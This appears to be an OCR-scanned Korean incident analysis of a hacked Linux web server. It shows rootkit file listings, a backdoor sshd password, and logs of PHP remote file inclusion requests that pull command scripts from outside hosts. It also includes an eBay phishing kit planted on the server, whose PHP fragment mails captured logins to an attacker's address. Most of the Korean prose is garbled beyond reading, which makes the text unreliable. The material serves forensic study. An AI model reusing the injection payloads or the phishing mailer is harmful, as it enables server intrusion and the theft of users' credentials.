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o3 A]2El2 Linux 7.1, Apache 1.3.19, PHP 43.1 $74& A}M&-3}
Ao, AHE T Aol AZEHE(Zeroboard) 4.
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23 A 2= (hide), 283 20E =7 Tl AAEHAH.

[root@t4linux libsh]# Is —alct

total 36

—rw—r——r—— 1 root root 2000 Mar 15 2001 hide
—rw—r——r—— 1 root root 1345 Mar 15 2001 shsb
drwxr—xr—x 2 root root 4096 Feb 24 19:11 utilz
drwxr—xr—x 2 root root 4096 Feb 24 19:11 .sniff
drwxr—xr—x 2 root root 4096 Feb 24 19:11 .owned
drwxr—xr—x 2 root root 4096 Feb 24 19:11 .backup
drwxr—xr—x 4 root root 4096 Feb 24 19:11 ..
[root@t4linux libsh]#

059 19 26¥9l= /usr/include olgfjo] FEZ O 3
Ao, o] gdo] AAdE IR s, ps & T&
Hol ot d¥rE o2 Jusr/includew J| =3 (*h)o
o2 7] fileh, hostshe} o] HdZQl =dd=z
ZS At AL S whEo] T JATH

oﬁ
N
o,

<l
2 no, iz
oX it o
£

jg ed
o

ol
28

o w o

It > BN

ge 2EZ 8444590 YoM, o8 F5 doz T4
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ohelgy L2 opeld &
file.h sh.conf hosts.h 2 212.110
libsh 2 195.26
.sh 2 194.143
system 2 62.220
shsb 3 2002
libsh.so 4 2002
shp 3 6667
shsniff 4 6667
srd0 3 61690
4 61690
log.h mirkforce proc.h 3 burim
synscan 3 mirkforce
syslog 3 synscan
3 ttyload
3 shsniff
3 ttymon
3 shsb
3 shp
3 hide
4 ttyload
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053 29 9ol WA #Bd BASo] MXd UK o F(4zlzd)
3 5UF D7} /dev DeE dol AAH AT /dev T
AEAS FO2 A2YAN FARYE) DS Rl B2 2

e ML BA e AL olgHd] FAAS] FHAETY B
FEES #AFE F22 Bl o457 Utk /dev/dzlzd wza
e AzRdN e RE ) JEgtel AHES s T2
B3t O Ayt AFE A (sniffer)o] FAFAT. ©SL snifferd]
W8 dF-E4 DB *}31} o HAJETL =EHo Ao, FAA
7}t oE AzEe FAsE A= A0l Atk

./mysqldump —u root —p mysql :

Enter password: XXXXXXXXXX -> DB &37t =&E

./mysqldump -u lee —p lee :

Enter password: XXXxxx -> DB &37F =&&E

chattr —i /bin/ps
/usr/sbin/sshd -R :

Jlogin —h xxx.XXX.Xxx.218 :
/dev/null

Listening to port 35214
password: m203a4z5
/usr/sbin/sshd -R :
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200.103.32.152 — — [14/Feb/2005:08:26:06 +0900] "GET /bbs//include/write.php?
dir=http://www.xxx.com.br/contador/cmd?&cmd=id HTTP/1.0" 200 0

219.116.94.139 - - [14/Feb/2005:09:54:38 +0900] "GET

http://xxx.xxx.xxx.kr/bbs//include/write.php?

dir=http://www.xxx.ubbi.com.br/cmd.txt? & md=ver HTTP/1.0" 200 0

TAA = 29 1497 He4E(200.103.32.152) 7 PE(219.116.94.139) &

25 E PHP Injection 345 AEdte] MY ALEA AAY 55 &

AstATt. 2ol F& 7FoRE AA THo] e FHASS &
Y

A%+ 9ot Y ZanAgq A2 IY 5 FA5 37
o

Sl 2ol mEe) AAALAY AFES ebaye] 917 Abo]ET}
7o) lgon, dutA Y Alde BN 29 WY W
52 Ba A% dolAe) HES FEd Ao oA

[root@t4!inux ebayl# Is -alct

total 168

drwxr=xr-x 2 root root 4096 Feb 24 19:11 1_files

drwxr—xr-x 3 root root 4096 Feb 24 16:51 .

—TW—r—r— 1 root root 960 Feb 16 16:52 ebay?.php

—rW—r—r—— 1 root root 12686 Feb 16 16:53

http_eBay.comdone-7E-20secure—7EaSSL-7Earestricted_activations_contine_verify_admin
_secur i ty_ebay_SSLSECUREDaeBayaEcheckaEsecaccount |D_har263748fusersecrbay1.htm
<S2h ek

—rW—r—r—— 1 root root 14331 Feb 16 16:53
http_eBay.comdone-7E-20secure—7EaSSL-7Earestricted_activations_contine_verify_admin
_secur i ty_ebay_SSLSECUREDaeBayaEcheckaEsecaccount |D_har263748fusersecrbay7.htm

[root@t4!linux ebayl#

—rwW-r—r—— 1 root root 585 Feb 16 16:54 login1.php
—rTW-r—r—— 1 root root 148 Feb 16 16:52 period_ani.gif
—TW—r—r— 1 root root 195 Feb 16 16:52 1.php
—TW-r—r—— 1 root root 1088 Feb 16 16:52 ebay1.php
drwxr=xr-x 3 root root 4096 Feb 16 16:52
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<?

$ip = getenv("REMOTE_ADDR");
$mail1="midyearbayids@yahoo.com';
$subject="eb|aylog|in !";

<Z7h dek>

if ($result==1)

mail($mail1,$subject, $mailbody);
<&k 4>
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[Sun Feb 13 13:30:20 2005] [error] [client 69.31.82.10] Directory index
forbidden by rule: /home/kypp/public_html/.4z1z4/

[Sun Feb 13 13:30:30 2005] [error] [client 69.31.82.10] Directory index
forbidden by rule: /home/kypp/public_html/.4z1z4/.ss|/html/ebay/

[Sun Feb 13 13:36:31 2005] [error] [client 209.247.193.180] Directory index
forbidden by rule: /home/kypp/public_html/.4z1z4/.ss|/html/ebay/1_files/
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66.135.207.155 - - [14/Feb/2005:04:26:27 +0900] "GET
/.4z1z4/ .ss|/html/ebay/ht tp_eBay.comdone-7E-20secure-7EaSSL-7Earestricted_activations_con
tine_verify_admin_security_ebay_SSLSECUREDaeBayaEcheckaEsecaccount |D_har263748fusersecrba
y4.htm HTTP/1.1" 200 36471

66.77.136.213 - - [14/Feb/2005:05:38:26 +0900] "GET|
/.4z1z4/ .ssl/html/ebay/http_eBay.comdone-7E-20secure-7EaSSL-7Earestricted_activations_con
tine_verify_admin_security_ebay_SSLSECUREDaeBayaEcheckaEsecaccount ID_har263748fusersecrba
y6.htm HTTP/1.0" 200 20713

168.143.113.112 - - [14/Feb/2005:11:24:52 +0900] "GET
/.4z1z4/ .ss|/html/ebay/ht tp_eBay.comdone-7E-20secure-7EaSSL-7Earestricted_activations_con
tine_verify_admin_security_ebay_ SSLSECUREDaeBayaEcheckaEsecaccount |D_har263748fusersecrba
y4.htm HTTP/1.1" 200 36471
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